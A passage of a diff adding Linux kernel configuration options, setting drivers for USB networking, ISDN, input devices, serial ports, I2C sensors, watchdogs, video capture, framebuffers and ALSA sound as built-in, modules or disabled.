+CONFIG_USB_NET_GL620A=m
+CONFIG_USB_NET_NET1080=m
+CONFIG_USB_NET_PLUSB=m
+# CONFIG_USB_NET_MCS7830 is not set
+CONFIG_USB_NET_RNDIS_HOST=m
+CONFIG_USB_NET_CDC_SUBSET=m
+CONFIG_USB_ALI_M5632=y
+CONFIG_USB_AN2720=y
+CONFIG_USB_BELKIN=y
+CONFIG_USB_ARMLINUX=y
+CONFIG_USB_EPSON2888=y
+# CONFIG_USB_KC2190 is not set
+CONFIG_USB_NET_ZAURUS=m
+CONFIG_NET_PCMCIA=y
+CONFIG_PCMCIA_3C589=m
+CONFIG_PCMCIA_3C574=m
+CONFIG_PCMCIA_FMVJ18X=m
+CONFIG_PCMCIA_PCNET=m
+CONFIG_PCMCIA_NMCLAN=m
+CONFIG_PCMCIA_SMC91C92=m
+CONFIG_PCMCIA_XIRC2PS=m
+CONFIG_PCMCIA_AXNET=m
+# CONFIG_WAN is not set
+CONFIG_ATM_DRIVERS=y
+# CONFIG_ATM_DUMMY is not set
+CONFIG_ATM_TCP=m
+CONFIG_ATM_LANAI=m
+CONFIG_ATM_ENI=m
+# CONFIG_ATM_ENI_DEBUG is not set
+# CONFIG_ATM_ENI_TUNE_BURST is not set
+CONFIG_ATM_FIRESTREAM=m
+# CONFIG_ATM_ZATM is not set
+CONFIG_ATM_IDT77252=m
+# CONFIG_ATM_IDT77252_DEBUG is not set
+# CONFIG_ATM_IDT77252_RCV_ALL is not set
+CONFIG_ATM_IDT77252_USE_SUNI=y
+CONFIG_ATM_AMBASSADOR=m
+# CONFIG_ATM_AMBASSADOR_DEBUG is not set
+CONFIG_ATM_HORIZON=m
+# CONFIG_ATM_HORIZON_DEBUG is not set
+CONFIG_ATM_FORE200E_MAYBE=m
+# CONFIG_ATM_FORE200E_PCA is not set
+CONFIG_ATM_HE=m
+# CONFIG_ATM_HE_USE_SUNI is not set
+CONFIG_FDDI=y
+# CONFIG_DEFXX is not set
+# CONFIG_SKFP is not set
+# CONFIG_HIPPI is not set
+# CONFIG_PLIP is not set
+CONFIG_PPP=m
+CONFIG_PPP_MULTILINK=y
+CONFIG_PPP_FILTER=y
+CONFIG_PPP_ASYNC=m
+CONFIG_PPP_SYNC_TTY=m
+CONFIG_PPP_DEFLATE=m
+# CONFIG_PPP_BSDCOMP is not set
+CONFIG_PPP_MPPE=m
+CONFIG_PPPOE=m
+CONFIG_PPPOATM=m
+# CONFIG_PPPOL2TP is not set
+CONFIG_SLIP=m
+CONFIG_SLIP_COMPRESSED=y
+CONFIG_SLHC=m
+CONFIG_SLIP_SMART=y
+# CONFIG_SLIP_MODE_SLIP6 is not set
+CONFIG_NET_FC=y
+# CONFIG_SHAPER is not set
+CONFIG_NETCONSOLE=m
+# CONFIG_NETCONSOLE_DYNAMIC is not set
+CONFIG_NETPOLL=y
+CONFIG_NETPOLL_TRAP=y
+CONFIG_NET_POLL_CONTROLLER=y
+CONFIG_ISDN=m
+CONFIG_ISDN_I4L=m
+CONFIG_ISDN_PPP=y
+CONFIG_ISDN_PPP_VJ=y
+CONFIG_ISDN_MPP=y
+CONFIG_IPPP_FILTER=y
+# CONFIG_ISDN_PPP_BSDCOMP is not set
+CONFIG_ISDN_AUDIO=y
+CONFIG_ISDN_TTY_FAX=y
+
+#
+# ISDN feature submodules
+#
+CONFIG_ISDN_DIVERSION=m
+
+#
+# ISDN4Linux hardware drivers
+#
+
+#
+# Passive cards
+#
+CONFIG_ISDN_DRV_HISAX=m
+
+#
+# D-channel protocol features
+#
+CONFIG_HISAX_EURO=y
+CONFIG_DE_AOC=y
+CONFIG_HISAX_NO_SENDCOMPLETE=y
+CONFIG_HISAX_NO_LLC=y
+CONFIG_HISAX_NO_KEYPAD=y
+CONFIG_HISAX_1TR6=y
+CONFIG_HISAX_NI1=y
+CONFIG_HISAX_MAX_CARDS=8
+
+#
+# HiSax supported cards
+#
+CONFIG_HISAX_16_3=y
+CONFIG_HISAX_TELESPCI=y
+CONFIG_HISAX_S0BOX=y
+CONFIG_HISAX_FRITZPCI=y
+CONFIG_HISAX_AVM_A1_PCMCIA=y
+CONFIG_HISAX_ELSA=y
+CONFIG_HISAX_DIEHLDIVA=y
+CONFIG_HISAX_SEDLBAUER=y
+CONFIG_HISAX_NETJET=y
+CONFIG_HISAX_NETJET_U=y
+CONFIG_HISAX_NICCY=y
+CONFIG_HISAX_BKM_A4T=y
+CONFIG_HISAX_SCT_QUADRO=y
+CONFIG_HISAX_GAZEL=y
+CONFIG_HISAX_HFC_PCI=y
+CONFIG_HISAX_W6692=y
+CONFIG_HISAX_HFC_SX=y
+CONFIG_HISAX_ENTERNOW_PCI=y
+# CONFIG_HISAX_DEBUG is not set
+
+#
+# HiSax PCMCIA card service modules
+#
+CONFIG_HISAX_SEDLBAUER_CS=m
+CONFIG_HISAX_ELSA_CS=m
+CONFIG_HISAX_AVM_A1_CS=m
+CONFIG_HISAX_TELES_CS=m
+
+#
+# HiSax sub driver modules
+#
+CONFIG_HISAX_ST5481=m
+# CONFIG_HISAX_HFCUSB is not set
+CONFIG_HISAX_HFC4S8S=m
+CONFIG_HISAX_FRITZ_PCIPNP=m
+CONFIG_HISAX_HDLC=y
+
+#
+# Active cards
+#
+CONFIG_ISDN_DRV_GIGASET=m
+CONFIG_GIGASET_BASE=m
+CONFIG_GIGASET_M105=m
+# CONFIG_GIGASET_M101 is not set
+# CONFIG_GIGASET_DEBUG is not set
+# CONFIG_GIGASET_UNDOCREQ is not set
+CONFIG_ISDN_CAPI=m
+CONFIG_ISDN_DRV_AVMB1_VERBOSE_REASON=y
+CONFIG_CAPI_TRACE=y
+CONFIG_ISDN_CAPI_MIDDLEWARE=y
+CONFIG_ISDN_CAPI_CAPI20=m
+CONFIG_ISDN_CAPI_CAPIFS_BOOL=y
+CONFIG_ISDN_CAPI_CAPIFS=m
+CONFIG_ISDN_CAPI_CAPIDRV=m
+
+#
+# CAPI hardware drivers
+#
+CONFIG_CAPI_AVM=y
+CONFIG_ISDN_DRV_AVMB1_B1PCI=m
+CONFIG_ISDN_DRV_AVMB1_B1PCIV4=y
+CONFIG_ISDN_DRV_AVMB1_B1PCMCIA=m
+CONFIG_ISDN_DRV_AVMB1_AVM_CS=m
+CONFIG_ISDN_DRV_AVMB1_T1PCI=m
+CONFIG_ISDN_DRV_AVMB1_C4=m
+# CONFIG_CAPI_EICON is not set
+# CONFIG_PHONE is not set
+
+#
+# Input device support
+#
+CONFIG_INPUT=y
+CONFIG_INPUT_FF_MEMLESS=y
+CONFIG_INPUT_POLLDEV=m
+
+#
+# Userland interfaces
+#
+CONFIG_INPUT_MOUSEDEV=y
+# CONFIG_INPUT_MOUSEDEV_PSAUX is not set
+CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024
+CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768
+CONFIG_INPUT_JOYDEV=m
+CONFIG_INPUT_EVDEV=y
+# CONFIG_INPUT_EVBUG is not set
+
+#
+# Input Device Drivers
+#
+CONFIG_INPUT_KEYBOARD=y
+CONFIG_KEYBOARD_ATKBD=y
+# CONFIG_KEYBOARD_SUNKBD is not set
+# CONFIG_KEYBOARD_LKKBD is not set
+# CONFIG_KEYBOARD_XTKBD is not set
+# CONFIG_KEYBOARD_NEWTON is not set
+# CONFIG_KEYBOARD_STOWAWAY is not set
+CONFIG_INPUT_MOUSE=y
+CONFIG_MOUSE_PS2=y
+CONFIG_MOUSE_PS2_ALPS=y
+CONFIG_MOUSE_PS2_LOGIPS2PP=y
+CONFIG_MOUSE_PS2_SYNAPTICS=y
+CONFIG_MOUSE_PS2_LIFEBOOK=y
+CONFIG_MOUSE_PS2_TRACKPOINT=y
+# CONFIG_MOUSE_PS2_TOUCHKIT is not set
+CONFIG_MOUSE_SERIAL=m
+# CONFIG_MOUSE_APPLETOUCH is not set
+CONFIG_MOUSE_VSXXXAA=m
+CONFIG_INPUT_JOYSTICK=y
+# CONFIG_JOYSTICK_ANALOG is not set
+# CONFIG_JOYSTICK_A3D is not set
+# CONFIG_JOYSTICK_ADI is not set
+# CONFIG_JOYSTICK_COBRA is not set
+# CONFIG_JOYSTICK_GF2K is not set
+# CONFIG_JOYSTICK_GRIP is not set
+# CONFIG_JOYSTICK_GRIP_MP is not set
+# CONFIG_JOYSTICK_GUILLEMOT is not set
+# CONFIG_JOYSTICK_INTERACT is not set
+# CONFIG_JOYSTICK_SIDEWINDER is not set
+# CONFIG_JOYSTICK_TMDC is not set
+# CONFIG_JOYSTICK_IFORCE is not set
+# CONFIG_JOYSTICK_WARRIOR is not set
+# CONFIG_JOYSTICK_MAGELLAN is not set
+# CONFIG_JOYSTICK_SPACEORB is not set
+# CONFIG_JOYSTICK_SPACEBALL is not set
+# CONFIG_JOYSTICK_STINGER is not set
+CONFIG_JOYSTICK_TWIDJOY=m
+# CONFIG_JOYSTICK_DB9 is not set
+# CONFIG_JOYSTICK_GAMECON is not set
+# CONFIG_JOYSTICK_TURBOGRAFX is not set
+CONFIG_JOYSTICK_JOYDUMP=m
+# CONFIG_JOYSTICK_XPAD is not set
+# CONFIG_INPUT_TABLET is not set
+CONFIG_INPUT_TOUCHSCREEN=y
+# CONFIG_TOUCHSCREEN_FUJITSU is not set
+CONFIG_TOUCHSCREEN_GUNZE=m
+CONFIG_TOUCHSCREEN_ELO=m
+CONFIG_TOUCHSCREEN_MTOUCH=m
+CONFIG_TOUCHSCREEN_MK712=m
+# CONFIG_TOUCHSCREEN_PENMOUNT is not set
+# CONFIG_TOUCHSCREEN_TOUCHRIGHT is not set
+# CONFIG_TOUCHSCREEN_TOUCHWIN is not set
+# CONFIG_TOUCHSCREEN_UCB1400 is not set
+# CONFIG_TOUCHSCREEN_USB_COMPOSITE is not set
+CONFIG_INPUT_MISC=y
+CONFIG_INPUT_PCSPKR=m
+# CONFIG_INPUT_ATLAS_BTNS is not set
+# CONFIG_INPUT_ATI_REMOTE is not set
+# CONFIG_INPUT_ATI_REMOTE2 is not set
+# CONFIG_INPUT_KEYSPAN_REMOTE is not set
+# CONFIG_INPUT_POWERMATE is not set
+# CONFIG_INPUT_YEALINK is not set
+CONFIG_INPUT_UINPUT=m
+
+#
+# Hardware I/O ports
+#
+CONFIG_SERIO=y
+CONFIG_SERIO_I8042=y
+CONFIG_SERIO_SERPORT=y
+# CONFIG_SERIO_CT82C710 is not set
+# CONFIG_SERIO_PARKBD is not set
+# CONFIG_SERIO_PCIPS2 is not set
+CONFIG_SERIO_LIBPS2=y
+CONFIG_SERIO_RAW=m
+CONFIG_GAMEPORT=m
+CONFIG_GAMEPORT_NS558=m
+CONFIG_GAMEPORT_L4=m
+CONFIG_GAMEPORT_EMU10K1=m
+CONFIG_GAMEPORT_FM801=m
+
+#
+# Character devices
+#
+CONFIG_VT=y
+CONFIG_VT_CONSOLE=y
+CONFIG_HW_CONSOLE=y
+CONFIG_VT_HW_CONSOLE_BINDING=y
+CONFIG_SERIAL_NONSTANDARD=y
+# CONFIG_COMPUTONE is not set
+# CONFIG_ROCKETPORT is not set
+CONFIG_CYCLADES=m
+# CONFIG_CYZ_INTR is not set
+# CONFIG_DIGIEPCA is not set
+# CONFIG_MOXA_INTELLIO is not set
+# CONFIG_MOXA_SMARTIO is not set
+# CONFIG_MOXA_SMARTIO_NEW is not set
+# CONFIG_ISI is not set
+CONFIG_SYNCLINK=m
+CONFIG_SYNCLINKMP=m
+CONFIG_SYNCLINK_GT=m
+CONFIG_N_HDLC=m
+# CONFIG_SPECIALIX is not set
+# CONFIG_SX is not set
+# CONFIG_RIO is not set
+# CONFIG_STALDRV is not set
+
+#
+# Serial drivers
+#
+CONFIG_SERIAL_8250=y
+CONFIG_SERIAL_8250_CONSOLE=y
+CONFIG_FIX_EARLYCON_MEM=y
+CONFIG_SERIAL_8250_PCI=y
+CONFIG_SERIAL_8250_PNP=y
+CONFIG_SERIAL_8250_CS=m
+CONFIG_SERIAL_8250_NR_UARTS=32
+CONFIG_SERIAL_8250_RUNTIME_UARTS=4
+CONFIG_SERIAL_8250_EXTENDED=y
+CONFIG_SERIAL_8250_MANY_PORTS=y
+CONFIG_SERIAL_8250_SHARE_IRQ=y
+CONFIG_SERIAL_8250_DETECT_IRQ=y
+CONFIG_SERIAL_8250_RSA=y
+
+#
+# Non-8250 serial port support
+#
+CONFIG_SERIAL_CORE=y
+CONFIG_SERIAL_CORE_CONSOLE=y
+CONFIG_SERIAL_JSM=m
+CONFIG_UNIX98_PTYS=y
+# CONFIG_LEGACY_PTYS is not set
+CONFIG_PRINTER=m
+CONFIG_LP_CONSOLE=y
+CONFIG_PPDEV=m
+CONFIG_IPMI_HANDLER=m
+CONFIG_IPMI_PANIC_EVENT=y
+CONFIG_IPMI_PANIC_STRING=y
+CONFIG_IPMI_DEVICE_INTERFACE=m
+CONFIG_IPMI_SI=m
+CONFIG_IPMI_WATCHDOG=m
+CONFIG_IPMI_POWEROFF=m
+CONFIG_HW_RANDOM=y
+CONFIG_HW_RANDOM_INTEL=m
+CONFIG_HW_RANDOM_AMD=m
+CONFIG_NVRAM=y
+CONFIG_RTC=y
+# CONFIG_R3964 is not set
+# CONFIG_APPLICOM is not set
+
+#
+# PCMCIA character devices
+#
+# CONFIG_SYNCLINK_CS is not set
+CONFIG_CARDMAN_4000=m
+CONFIG_CARDMAN_4040=m
+# CONFIG_MWAVE is not set
+CONFIG_PC8736x_GPIO=m
+CONFIG_NSC_GPIO=m
+CONFIG_RAW_DRIVER=y
+CONFIG_MAX_RAW_DEVS=8192
+CONFIG_HPET=y
+# CONFIG_HPET_RTC_IRQ is not set
+# CONFIG_HPET_MMAP is not set
+CONFIG_HANGCHECK_TIMER=m
+CONFIG_TCG_TPM=m
+CONFIG_TCG_TIS=m
+CONFIG_TCG_NSC=m
+CONFIG_TCG_ATMEL=m
+CONFIG_TCG_INFINEON=m
+CONFIG_TELCLOCK=m
+CONFIG_DEVPORT=y
+CONFIG_I2C=m
+CONFIG_I2C_BOARDINFO=y
+CONFIG_I2C_CHARDEV=m
+
+#
+# I2C Algorithms
+#
+CONFIG_I2C_ALGOBIT=m
+CONFIG_I2C_ALGOPCF=m
+CONFIG_I2C_ALGOPCA=m
+
+#
+# I2C Hardware Bus support
+#
+# CONFIG_I2C_ALI1535 is not set
+# CONFIG_I2C_ALI1563 is not set
+# CONFIG_I2C_ALI15X3 is not set
+CONFIG_I2C_AMD756=m
+CONFIG_I2C_AMD756_S4882=m
+CONFIG_I2C_AMD8111=m
+CONFIG_I2C_I801=m
+# CONFIG_I2C_I810 is not set
+CONFIG_I2C_PIIX4=m
+CONFIG_I2C_NFORCE2=m
+# CONFIG_I2C_OCORES is not set
+CONFIG_I2C_PARPORT=m
+CONFIG_I2C_PARPORT_LIGHT=m
+CONFIG_I2C_PROSAVAGE=m
+CONFIG_I2C_SAVAGE4=m
+# CONFIG_I2C_SIMTEC is not set
+# CONFIG_I2C_SIS5595 is not set
+# CONFIG_I2C_SIS630 is not set
+CONFIG_I2C_SIS96X=m
+# CONFIG_I2C_TAOS_EVM is not set
+CONFIG_I2C_STUB=m
+# CONFIG_I2C_TINY_USB is not set
+CONFIG_I2C_VIA=m
+CONFIG_I2C_VIAPRO=m
+CONFIG_I2C_VOODOO3=m
+
+#
+# Miscellaneous I2C Chip support
+#
+CONFIG_SENSORS_DS1337=m
+CONFIG_SENSORS_DS1374=m
+# CONFIG_DS1682 is not set
+CONFIG_SENSORS_EEPROM=m
+CONFIG_SENSORS_PCF8574=m
+CONFIG_SENSORS_PCA9539=m
+CONFIG_SENSORS_PCF8591=m
+CONFIG_SENSORS_MAX6875=m
+# CONFIG_SENSORS_TSL2550 is not set
+# CONFIG_I2C_DEBUG_CORE is not set
+# CONFIG_I2C_DEBUG_ALGO is not set
+# CONFIG_I2C_DEBUG_BUS is not set
+# CONFIG_I2C_DEBUG_CHIP is not set
+
+#
+# SPI support
+#
+# CONFIG_SPI is not set
+# CONFIG_SPI_MASTER is not set
+# CONFIG_W1 is not set
+CONFIG_POWER_SUPPLY=y
+# CONFIG_POWER_SUPPLY_DEBUG is not set
+# CONFIG_PDA_POWER is not set
+# CONFIG_BATTERY_DS2760 is not set
+CONFIG_HWMON=m
+CONFIG_HWMON_VID=m
+CONFIG_SENSORS_ABITUGURU=m
+# CONFIG_SENSORS_ABITUGURU3 is not set
+# CONFIG_SENSORS_AD7418 is not set
+CONFIG_SENSORS_ADM1021=m
+CONFIG_SENSORS_ADM1025=m
+CONFIG_SENSORS_ADM1026=m
+# CONFIG_SENSORS_ADM1029 is not set
+CONFIG_SENSORS_ADM1031=m
+CONFIG_SENSORS_ADM9240=m
+# CONFIG_SENSORS_ADT7470 is not set
+CONFIG_SENSORS_K8TEMP=m
+CONFIG_SENSORS_ASB100=m
+CONFIG_SENSORS_ATXP1=m
+CONFIG_SENSORS_DS1621=m
+# CONFIG_SENSORS_I5K_AMB is not set
+CONFIG_SENSORS_F71805F=m
+# CONFIG_SENSORS_F71882FG is not set
+# CONFIG_SENSORS_F75375S is not set
+CONFIG_SENSORS_FSCHER=m
+CONFIG_SENSORS_FSCPOS=m
+# CONFIG_SENSORS_FSCHMD is not set
+CONFIG_SENSORS_GL518SM=m
+CONFIG_SENSORS_GL520SM=m
+# CONFIG_SENSORS_CORETEMP is not set
+# CONFIG_SENSORS_IBMPEX is not set
+CONFIG_SENSORS_IT87=m
+CONFIG_SENSORS_LM63=m
+CONFIG_SENSORS_LM75=m
+CONFIG_SENSORS_LM77=m
+CONFIG_SENSORS_LM78=m
+CONFIG_SENSORS_LM80=m
+CONFIG_SENSORS_LM83=m
+CONFIG_SENSORS_LM85=m
+CONFIG_SENSORS_LM87=m
+CONFIG_SENSORS_LM90=m
+CONFIG_SENSORS_LM92=m
+# CONFIG_SENSORS_LM93 is not set
+CONFIG_SENSORS_MAX1619=m
+# CONFIG_SENSORS_MAX6650 is not set
+CONFIG_SENSORS_PC87360=m
+# CONFIG_SENSORS_PC87427 is not set
+CONFIG_SENSORS_SIS5595=m
+# CONFIG_SENSORS_DME1737 is not set
+CONFIG_SENSORS_SMSC47M1=m
+CONFIG_SENSORS_SMSC47M192=m
+CONFIG_SENSORS_SMSC47B397=m
+# CONFIG_SENSORS_THMC50 is not set
+CONFIG_SENSORS_VIA686A=m
+# CONFIG_SENSORS_VT1211 is not set
+CONFIG_SENSORS_VT8231=m
+CONFIG_SENSORS_W83781D=m
+CONFIG_SENSORS_W83791D=m
+CONFIG_SENSORS_W83792D=m
+# CONFIG_SENSORS_W83793 is not set
+CONFIG_SENSORS_W83L785TS=m
+CONFIG_SENSORS_W83627HF=m
+CONFIG_SENSORS_W83627EHF=m
+CONFIG_SENSORS_HDAPS=m
+# CONFIG_SENSORS_APPLESMC is not set
+# CONFIG_HWMON_DEBUG_CHIP is not set
+CONFIG_WATCHDOG=y
+# CONFIG_WATCHDOG_NOWAYOUT is not set
+
+#
+# Watchdog Device Drivers
+#
+CONFIG_SOFT_WATCHDOG=m
+# CONFIG_ACQUIRE_WDT is not set
+# CONFIG_ADVANTECH_WDT is not set
+CONFIG_ALIM1535_WDT=m
+CONFIG_ALIM7101_WDT=m
+# CONFIG_SC520_WDT is not set
+# CONFIG_EUROTECH_WDT is not set
+# CONFIG_IB700_WDT is not set
+CONFIG_IBMASR=m
+# CONFIG_WAFER_WDT is not set
+CONFIG_I6300ESB_WDT=m
+# CONFIG_ITCO_WDT is not set
+# CONFIG_IT8712F_WDT is not set
+# CONFIG_SC1200_WDT is not set
+# CONFIG_PC87413_WDT is not set
+# CONFIG_60XX_WDT is not set
+# CONFIG_SBC8360_WDT is not set
+# CONFIG_CPU5_WDT is not set
+# CONFIG_SMSC37B787_WDT is not set
+CONFIG_W83627HF_WDT=m
+# CONFIG_W83697HF_WDT is not set
+CONFIG_W83877F_WDT=m
+CONFIG_W83977F_WDT=m
+CONFIG_MACHZ_WDT=m
+# CONFIG_SBC_EPX_C3_WATCHDOG is not set
+
+#
+# PCI-based Watchdog Cards
+#
+CONFIG_PCIPCWATCHDOG=m
+CONFIG_WDTPCI=m
+CONFIG_WDT_501_PCI=y
+
+#
+# USB-based Watchdog Cards
+#
+CONFIG_USBPCWATCHDOG=m
+
+#
+# Sonics Silicon Backplane
+#
+CONFIG_SSB_POSSIBLE=y
+CONFIG_SSB=m
+CONFIG_SSB_PCIHOST_POSSIBLE=y
+CONFIG_SSB_PCIHOST=y
+CONFIG_SSB_PCMCIAHOST_POSSIBLE=y
+# CONFIG_SSB_PCMCIAHOST is not set
+# CONFIG_SSB_DEBUG is not set
+CONFIG_SSB_DRIVER_PCICORE_POSSIBLE=y
+CONFIG_SSB_DRIVER_PCICORE=y
+
+#
+# Multifunction device drivers
+#
+# CONFIG_MFD_SM501 is not set
+
+#
+# Multimedia devices
+#
+CONFIG_VIDEO_DEV=m
+CONFIG_VIDEO_V4L1=y
+CONFIG_VIDEO_V4L1_COMPAT=y
+CONFIG_VIDEO_V4L2=y
+CONFIG_VIDEO_CAPTURE_DRIVERS=y
+# CONFIG_VIDEO_ADV_DEBUG is not set
+CONFIG_VIDEO_HELPER_CHIPS_AUTO=y
+CONFIG_VIDEO_TVAUDIO=m
+CONFIG_VIDEO_TDA7432=m
+CONFIG_VIDEO_TDA9875=m
+CONFIG_VIDEO_MSP3400=m
+CONFIG_VIDEO_WM8775=m
+CONFIG_VIDEO_SAA711X=m
+CONFIG_VIDEO_TVP5150=m
+CONFIG_VIDEO_CX25840=m
+CONFIG_VIDEO_CX2341X=m
+# CONFIG_VIDEO_VIVI is not set
+CONFIG_VIDEO_BT848=m
+CONFIG_VIDEO_SAA6588=m
+# CONFIG_VIDEO_BWQCAM is not set
+# CONFIG_VIDEO_CQCAM is not set
+# CONFIG_VIDEO_W9966 is not set
+# CONFIG_VIDEO_CPIA is not set
+CONFIG_VIDEO_CPIA2=m
+# CONFIG_VIDEO_SAA5246A is not set
+# CONFIG_VIDEO_SAA5249 is not set
+# CONFIG_TUNER_3036 is not set
+# CONFIG_VIDEO_STRADIS is not set
+# CONFIG_VIDEO_ZORAN is not set
+# CONFIG_VIDEO_SAA7134 is not set
+# CONFIG_VIDEO_MXB is not set
+# CONFIG_VIDEO_DPC is not set
+# CONFIG_VIDEO_HEXIUM_ORION is not set
+# CONFIG_VIDEO_HEXIUM_GEMINI is not set
+# CONFIG_VIDEO_CX88 is not set
+# CONFIG_VIDEO_IVTV is not set
+# CONFIG_VIDEO_CAFE_CCIC is not set
+CONFIG_V4L_USB_DRIVERS=y
+CONFIG_VIDEO_PVRUSB2=m
+# CONFIG_VIDEO_PVRUSB2_29XXX is not set
+CONFIG_VIDEO_PVRUSB2_24XXX=y
+CONFIG_VIDEO_PVRUSB2_SYSFS=y
+# CONFIG_VIDEO_PVRUSB2_DEBUGIFC is not set
+CONFIG_VIDEO_EM28XX=m
+# CONFIG_VIDEO_USBVISION is not set
+CONFIG_VIDEO_USBVIDEO=m
+CONFIG_USB_VICAM=m
+CONFIG_USB_IBMCAM=m
+CONFIG_USB_KONICAWC=m
+CONFIG_USB_QUICKCAM_MESSENGER=m
+CONFIG_USB_ET61X251=m
+CONFIG_VIDEO_OVCAMCHIP=m
+CONFIG_USB_W9968CF=m
+CONFIG_USB_OV511=m
+CONFIG_USB_SE401=m
+CONFIG_USB_SN9C102=m
+CONFIG_USB_STV680=m
+CONFIG_USB_ZC0301=m
+CONFIG_USB_PWC=m
+# CONFIG_USB_PWC_DEBUG is not set
+# CONFIG_USB_ZR364XX is not set
+CONFIG_RADIO_ADAPTERS=y
+# CONFIG_RADIO_GEMTEK_PCI is not set
+# CONFIG_RADIO_MAXIRADIO is not set
+# CONFIG_RADIO_MAESTRO is not set
+CONFIG_USB_DSBR=m
+# CONFIG_DVB_CORE is not set
+CONFIG_VIDEO_TUNER=m
+# CONFIG_VIDEO_TUNER_CUSTOMIZE is not set
+CONFIG_TUNER_MT20XX=m
+CONFIG_TUNER_TDA8290=m
+CONFIG_TUNER_TEA5761=m
+CONFIG_TUNER_TEA5767=m
+CONFIG_TUNER_SIMPLE=m
+CONFIG_VIDEOBUF_GEN=m
+CONFIG_VIDEOBUF_DMA_SG=m
+CONFIG_VIDEO_BTCX=m
+CONFIG_VIDEO_IR_I2C=m
+CONFIG_VIDEO_IR=m
+CONFIG_VIDEO_TVEEPROM=m
+CONFIG_DAB=y
+CONFIG_USB_DABUSB=m
+
+#
+# Graphics support
+#
+CONFIG_AGP=y
+CONFIG_AGP_AMD64=y
+CONFIG_AGP_INTEL=y
+CONFIG_AGP_SIS=y
+CONFIG_AGP_VIA=y
+CONFIG_DRM=m
+# CONFIG_DRM_TDFX is not set
+CONFIG_DRM_R128=m
+CONFIG_DRM_RADEON=m
+CONFIG_DRM_I810=m
+CONFIG_DRM_I830=m
+CONFIG_DRM_I915=m
+CONFIG_DRM_MGA=m
+# CONFIG_DRM_SIS is not set
+CONFIG_DRM_VIA=m
+CONFIG_DRM_SAVAGE=m
+CONFIG_VGASTATE=m
+# CONFIG_VIDEO_OUTPUT_CONTROL is not set
+CONFIG_FB=y
+# CONFIG_FIRMWARE_EDID is not set
+CONFIG_FB_DDC=m
+CONFIG_FB_CFB_FILLRECT=y
+CONFIG_FB_CFB_COPYAREA=y
+CONFIG_FB_CFB_IMAGEBLIT=y
+# CONFIG_FB_CFB_REV_PIXELS_IN_BYTE is not set
+# CONFIG_FB_SYS_FILLRECT is not set
+# CONFIG_FB_SYS_COPYAREA is not set
+# CONFIG_FB_SYS_IMAGEBLIT is not set
+# CONFIG_FB_SYS_FOPS is not set
+CONFIG_FB_DEFERRED_IO=y
+# CONFIG_FB_SVGALIB is not set
+# CONFIG_FB_MACMODES is not set
+CONFIG_FB_BACKLIGHT=y
+CONFIG_FB_MODE_HELPERS=y
+CONFIG_FB_TILEBLITTING=y
+
+#
+# Frame buffer hardware drivers
+#
+CONFIG_FB_CIRRUS=m
+# CONFIG_FB_PM2 is not set
+# CONFIG_FB_CYBER2000 is not set
+# CONFIG_FB_ARC is not set
+# CONFIG_FB_ASILIANT is not set
+# CONFIG_FB_IMSTT is not set
+CONFIG_FB_VGA16=m
+# CONFIG_FB_UVESA is not set
+CONFIG_FB_VESA=y
+# CONFIG_FB_EFI is not set
+# CONFIG_FB_HECUBA is not set
+# CONFIG_FB_HGA is not set
+# CONFIG_FB_S1D13XXX is not set
+CONFIG_FB_NVIDIA=m
+CONFIG_FB_NVIDIA_I2C=y
+# CONFIG_FB_NVIDIA_DEBUG is not set
+CONFIG_FB_NVIDIA_BACKLIGHT=y
+CONFIG_FB_RIVA=m
+# CONFIG_FB_RIVA_I2C is not set
+# CONFIG_FB_RIVA_DEBUG is not set
+CONFIG_FB_RIVA_BACKLIGHT=y
+# CONFIG_FB_LE80578 is not set
+CONFIG_FB_INTEL=m
+# CONFIG_FB_INTEL_DEBUG is not set
+CONFIG_FB_INTEL_I2C=y
+# CONFIG_FB_MATROX is not set
+# CONFIG_FB_RADEON is not set
+# CONFIG_FB_ATY128 is not set
+# CONFIG_FB_ATY is not set
+# CONFIG_FB_S3 is not set
+CONFIG_FB_SAVAGE=m
+CONFIG_FB_SAVAGE_I2C=y
+CONFIG_FB_SAVAGE_ACCEL=y
+# CONFIG_FB_SIS is not set
+# CONFIG_FB_NEOMAGIC is not set
+CONFIG_FB_KYRO=m
+# CONFIG_FB_3DFX is not set
+# CONFIG_FB_VOODOO1 is not set
+# CONFIG_FB_VT8623 is not set
+# CONFIG_FB_TRIDENT is not set
+# CONFIG_FB_ARK is not set
+# CONFIG_FB_PM3 is not set
+# CONFIG_FB_GEODE is not set
+# CONFIG_FB_VIRTUAL is not set
+CONFIG_BACKLIGHT_LCD_SUPPORT=y
+CONFIG_LCD_CLASS_DEVICE=m
+CONFIG_BACKLIGHT_CLASS_DEVICE=y
+# CONFIG_BACKLIGHT_CORGI is not set
+# CONFIG_BACKLIGHT_PROGEAR is not set
+
+#
+# Display device support
+#
+# CONFIG_DISPLAY_SUPPORT is not set
+
+#
+# Console display driver support
+#
+CONFIG_VGA_CONSOLE=y
+CONFIG_VGACON_SOFT_SCROLLBACK=y
+CONFIG_VGACON_SOFT_SCROLLBACK_SIZE=64
+CONFIG_VIDEO_SELECT=y
+CONFIG_DUMMY_CONSOLE=y
+CONFIG_FRAMEBUFFER_CONSOLE=y
+# CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY is not set
+CONFIG_FRAMEBUFFER_CONSOLE_ROTATION=y
+# CONFIG_FONTS is not set
+CONFIG_FONT_8x8=y
+CONFIG_FONT_8x16=y
+CONFIG_LOGO=y
+# CONFIG_LOGO_LINUX_MONO is not set
+# CONFIG_LOGO_LINUX_VGA16 is not set
+CONFIG_LOGO_LINUX_CLUT224=y
+
+#
+# Sound
+#
+CONFIG_SOUND=m
+
+#
+# Advanced Linux Sound Architecture
+#
+CONFIG_SND=m
+CONFIG_SND_TIMER=m
+CONFIG_SND_PCM=m
+CONFIG_SND_HWDEP=m
+CONFIG_SND_RAWMIDI=m
+CONFIG_SND_SEQUENCER=m
+CONFIG_SND_SEQ_DUMMY=m
+CONFIG_SND_OSSEMUL=y
+CONFIG_SND_MIXER_OSS=m
+CONFIG_SND_PCM_OSS=m
+CONFIG_SND_PCM_OSS_PLUGINS=y
+CONFIG_SND_SEQUENCER_OSS=y
+CONFIG_SND_RTCTIMER=m
+CONFIG_SND_SEQ_RTCTIMER_DEFAULT=y
+CONFIG_SND_DYNAMIC_MINORS=y
+# CONFIG_SND_SUPPORT_OLD_API is not set
+CONFIG_SND_VERBOSE_PROCFS=y
+# CONFIG_SND_VERBOSE_PRINTK is not set
+# CONFIG_SND_DEBUG is not set
+
+#
+# Generic devices
+#
+CONFIG_SND_MPU401_UART=m
